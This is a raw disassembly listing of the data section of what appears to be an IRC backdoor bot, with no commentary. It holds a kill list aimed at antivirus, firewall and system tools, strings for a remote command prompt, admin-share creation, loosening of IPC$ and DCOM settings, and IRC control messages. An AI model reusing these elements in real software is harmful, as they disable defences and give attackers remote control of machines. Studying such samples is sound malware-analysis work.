aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_419460+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_419460:loc_41950Bo
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_419460:loc_419504o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_419460:loc_4194FDo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419460:loc_4194F3o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_419460+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_419460:loc_4194CDo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_419460:loc_4194C3o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_419460:loc_4194B9o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_419460:loc_4194AFo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_419460:loc_4194A5o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_419460+3Bo
		align 4
dword_439D58	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419594+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_439D84	db  2Dh	; -		; DATA XREF: sub_419594+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		dd 6D202D03h, 61737365h, 73206567h, 20746E65h, 63637573h
		dd 66737365h, 796C6C75h
		db    0
		align 4
		dd 7530h
off_439DB0	dd offset aRegedit_exe	; DATA XREF: sub_4196BD+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_439EB8
		dd offset dword_439EAC
		dd offset dword_439EA0
		dd offset dword_439E94
		dd offset dword_439E88
		dd offset dword_439E7C
		dd offset dword_439E6C
		dd offset dword_439E60
		dd offset dword_439E54
		dd offset dword_439E48
		dd offset dword_439E3C
		dd offset dword_439E2C
		dd offset dword_439E20
		dd offset dword_439E10
dword_439E10	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BD+ECo
					; ___:00439E0Co
dword_439E20	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439E08o
dword_439E2C	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439E04o
dword_439E3C	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439E00o
dword_439E48	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439DFCo
dword_439E54	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439DF8o
dword_439E60	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439DF4o
dword_439E6C	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439DF0o
dword_439E7C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:00439DECo
dword_439E88	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:00439DE8o
dword_439E94	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:00439DE4o
dword_439EA0	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:00439DE0o
dword_439EAC	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:00439DDCo
dword_439EB8	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:00439DD8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439DD4o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439DD0o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:00439DCCo
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:00439DC8o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:00439DC4o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:00439DC0o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:00439DBCo
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:00439DB8o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:00439DB4o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_439DB0o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BD+191o
		align 4
unk_439F68	db  2Dh	; -		; DATA XREF: sub_4198EC:loc_419973o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_439F8C	db  2Dh	; -		; DATA XREF: sub_4198EC+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_439FB0	db  2Dh	; -		; DATA XREF: sub_4198EC+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A89+33o
unk_439FE0	db  2Dh	; -		; DATA XREF: sub_419B10:loc_419C42o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A010	db  2Dh	; -		; DATA XREF: sub_419B10+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_43A038	db  2Dh	; -		; DATA XREF: sub_419B10:loc_419BF6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_43A068	db  2Dh	; -		; DATA XREF: sub_419C65+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A09C	db  2Dh	; -		; DATA XREF: sub_419C65+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_43A0C0	dd offset dword_43A0F8	; DATA XREF: sub_419E7A+1B3o
					; sub_41A19E+17Ao
		align 8
		dd offset dword_43A0F0
		align 10h
off_43A0D0	dd offset dword_43A0EC	; DATA XREF: sub_41A19E+1E3o
		dd offset off_43A0E8
		dd offset dword_43A0E4
		dd offset off_43A0E0
off_43A0E0	dd offset dword_5C3A44	; DATA XREF: sub_419E7A+217o
					; ___:0043A0DCo
dword_43A0E4	dd 2444h		; DATA XREF: ___:0043A0D8o
off_43A0E8	dd offset byte_5C3A43	; DATA XREF: ___:0043A0D4o
dword_43A0EC	dd 2443h		; DATA XREF: ___:off_43A0D0o
dword_43A0F0	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A0C8o
dword_43A0F8	dd 24435049h, 0		; DATA XREF: ___:off_43A0C0o
dword_43A100	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+2E5o
					; sub_41A19E+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A130	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_43A158	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_41A0DCo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A184	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_43A1A8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_41A049o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A1D4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_43A1F8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419FACo
					; sub_41A19E:loc_41A2CCo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A228	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419FA5o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A264	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419F87o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_43A298	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E7A+EDo
					; sub_41A19E+EDo
		align 4
dword_43A2E8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+91o
					; sub_41A19E+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A318	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E7A:loc_419EE7o
		dd 62617369h, 2E64656Ch, 0
dword_43A338	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E7A+54o
					; sub_41A19E+54o
		align 4
dword_43A368	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19E+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19E+219o
dword_43A398	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A33Do
					; sub_41A19E:loc_41A40Eo
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A3C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+198o
					; sub_41A19E+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A3E0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A2C5o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A41C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A2A7o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A454	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A494	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19E:loc_41A20Bo
		dd 6C62616Eh, 2E6465h
dword_43A4B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D2+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_43A508	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AF+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AF+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AF+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AF+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AF+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AF+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AF+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AF+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AF+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AF+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AF+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AF+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AF+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AF+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AF+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AF+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AF+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AF+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AF+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AF+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AF+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AF+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AF+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AF+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AF+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AF+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AF+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88C+52o
dword_43A720	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA43+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A7FC	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA43+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA43:loc_41ABA7o
		align 10h
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA43+EBo
dword_43A828	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF7+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A86C	dd offset word_412F4E	; DATA XREF: sub_41ACF7:loc_41AD63o
off_43A870	dd offset dword_4E414C	; DATA XREF: sub_41ACF7:loc_41AD59o
dword_43A874	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF7+5Bo
dword_43A87C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF7+48o
unk_43A88C	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF6Fo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A8BC	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF68o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43A8E8	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB6+1A0o
		dd 4C525520h, 2Eh
unk_43A904	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF49o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_43A940	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB6+18Co
		dd 64657469h, 2Eh
dword_43A95C	dd 2A2F2Ah		; DATA XREF: sub_41ADB6+3Bo
dword_43A960	dd 5261740Ah		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A970	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A97C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A988	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A98C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A9A0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A9A4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A9B0	dd offset off_43A9B0	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A9B4	dd offset off_43A9B0	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A9C8
		dd offset dword_43A9C8
dword_43A9C0	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A9C8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A9B8o
					; ___:0043A9BCo
off_43C9D0	dd offset off_43A9B0	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C9D4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C9D8	dd offset word_43C9E2	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C9DC	dd offset word_43C9E2	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C9E2	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C9D8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43CBE4	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43CBE8	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43CBF0	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43CBF4	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43CBF8	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43CC00	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43CC04	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43CC10	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43CCF0	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43CCF4	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43CE58	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43CE60	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43CE68	dd 14h			; DATA XREF: sub_421624+2o
off_43CE6C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427870h, 1Ah, 42C960h, 1Bh, 427868h, 1Fh, 427860h
		dd 13h,	427858h, 21h, 427850h, 0Eh, 427848h, 0Dh, 427840h
		dd 0Fh,	427838h, 10h, 427830h, 5, 427828h, 1Eh,	427824h
		dd 12h,	427820h, 20h, 42781Ch, 0Ch, 427814h, 0Bh, 42780Ch
		dd 15h,	427804h, 1Ch, 4277FCh, 19h, 4277F4h, 11h, 4277ECh
		dd 18h,	4277E4h, 16h, 4277DCh, 17h, 4277D4h, 22h, 4277D0h
		dd 23h,	4277CCh, 24h, 4277C8h
dbl_43CF40	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43CF50	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43CF68	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43CF74	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43CF80	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43CF84	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43CF88	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43CF8C	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43CF90	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43CF94	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43CFA4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43CFA8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43CFAC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D020	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43D024	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43D028	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43D02C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43D030	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43D038	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43D03C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B8Ch, 9, 427B60h, 0Ah,	427B3Ch, 10h, 427B10h
		dd 11h,	427AE0h, 12h, 427ABCh, 13h, 427A90h, 18h, 427A58h
		dd 19h,	427A30h, 1Ah, 4279F8h, 1Bh, 4279C0h, 1Ch, 427998h
		dd 78h,	427988h, 79h, 427978h, 7Ah, 427968h, 0FCh, 433F14h
		dd 0FFh, 427958h
off_43D0C8	dd offset dword_4DBC80	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DBC80
		dd 101h
dword_43D0D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43D0E8	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D108	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D138	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43D348	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43D350	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43D358	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43D370	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43D388	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43D38C	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43D390	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43D394	dd offset dword_545350	; DATA XREF: ___:off_43D414o
		dd 0Fh dup(0)
off_43D3D4	dd offset dword_544450	; DATA XREF: ___:off_43D418o
		dd 0Fh dup(0)
off_43D414	dd offset off_43D394	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43D418	dd offset off_43D3D4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43D420	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43D424	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43D428	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43D430	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43D434	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43D438	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43D43C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43D46C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43D470	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
